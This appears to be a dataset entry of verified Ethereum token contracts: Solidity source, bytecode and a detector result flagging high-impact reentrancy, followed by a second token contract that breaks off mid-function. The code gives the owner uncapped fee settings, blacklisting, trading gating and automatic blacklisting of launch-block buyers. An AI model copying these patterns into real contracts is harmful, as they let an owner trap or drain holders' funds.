mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xbD3817B9B415FFF97994ED6E4cDb70B5a9d07453);
address payable private _marketingAddress = payable(0xbD3817B9B415FFF97994ED6E4cDb70B5a9d07453);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b157600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611960565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600b81526a47696761466163746f727960a81b60208201525b60405161023b9190611a25565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a7a565b61069b565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611aa6565b6106b2565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae7565b61071b565b34801561036f57600080fd5b506101fc61037e366004611b14565b610766565b34801561038f57600080fd5b506101fc6107ae565b3480156103a457600080fd5b506102c36103b3366004611ae7565b6107f9565b3480156103c457600080fd5b506101fc61081b565b3480156103d957600080fd5b506101fc6103e8366004611b2f565b61088f565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae7565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b14565b6108be565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b506040805180820190915260048152634749474160e01b602082015261022e565b3480156104bd57600080fd5b506101fc6104cc366004611b2f565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b48565b610935565b3480156104fd57600080fd5b5061026461050c366004611a7a565b610973565b34801561051d57600080fd5b5061026461052c366004611ae7565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b7a565b6109d4565b34801561058257600080fd5b506102c3610591366004611bfe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2f565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae7565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c37565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c98565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c37565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c37565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c37565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c37565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c37565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c37565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c37565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6c565b9050602002016020810190610a359190611ae7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c98565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c37565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c37565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb3565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611ccb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce2565b816001815181106113cd576113cd611c6c565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cff565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611667565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611695565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611734565b6001600160a01b0389166000908152600260205260409020556115c581611793565b6115cf84836117dd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164282826114c0565b82101561165e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116885760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611d70565b60008060008060008060008060006116b28a600c54600d54611801565b92509250925060006116c261149d565b905060008060006116d58e878787611856565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117418385611cb3565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179d61149d565b905060006117ab83836118a6565b306000908152600260205260409020549091506117c89082611734565b30600090815260026020526040902055505050565b6006546117ea90836116f2565b6006556007546117fa9082611734565b6007555050565b600080808061181b606461181589896118a6565b906114c0565b9050600061182e60646118158a896118a6565b90506000611846826118408b866116f2565b906116f2565b9992985090965090945050505050565b600080808061186588866118a6565b9050600061187388876118a6565b9050600061188188886118a6565b905060006118938261184086866116f2565b939b939a50919850919650505050505050565b6000826118b5575060006106ac565b60006118c18385611d92565b9050826118ce8583611d70565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195b8161193b565b919050565b6000602080838503121561197357600080fd5b823567ffffffffffffffff8082111561198b57600080fd5b818501915085601f83011261199f57600080fd5b8135818111156119b1576119b1611925565b8060051b604051601f19603f830116810181811085821117156119d6576119d6611925565b6040529182528482019250838101850191888311156119f457600080fd5b938501935b82851015611a1957611a0a85611950565b845293850193928501926119f9565b98975050505050505050565b600060208083528351808285015260005b81811015611a5257858101830151858201604001528201611a36565b81811115611a64576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8d57600080fd5b8235611a988161193b565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b8335611ac68161193b565b92506020840135611ad68161193b565b929592945050506040919091013590565b600060208284031215611af957600080fd5b81356112df8161193b565b8035801515811461195b57600080fd5b600060208284031215611b2657600080fd5b6112df82611b04565b600060208284031215611b4157600080fd5b5035919050565b60008060008060808587031215611b5e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8f57600080fd5b833567ffffffffffffffff80821115611ba757600080fd5b818601915086601f830112611bbb57600080fd5b813581811115611bca57600080fd5b8760208260051b8501011115611bdf57600080fd5b602092830195509350611bf59186019050611b04565b90509250925092565b60008060408385031215611c1157600080fd5b8235611c1c8161193b565b91506020830135611c2c8161193b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cac57611cac611c82565b5060010190565b60008219821115611cc657611cc6611c82565b500190565b600082821015611cdd57611cdd611c82565b500390565b600060208284031215611cf457600080fd5b81516112df8161193b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4f5784516001600160a01b031683529383019391830191600101611d2a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dac57611dac611c82565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b037a7889e67e258b0067bcc20d59afd6142ccbd3a657471b9397bbb106469cf64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,805 |
0x06ae21d6b1c11fd3260339d91dac142f33efbb06 | /**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
// SPDX-License-Identifier: Unlicensed
//TG: OrderOfThePhoenixPortal
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract PHOENIX is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Order of the Phoenix";
string private constant _symbol = "PHOENIX";
uint private constant _decimals = 9;
uint256 private _teamFee = 10;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(5);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
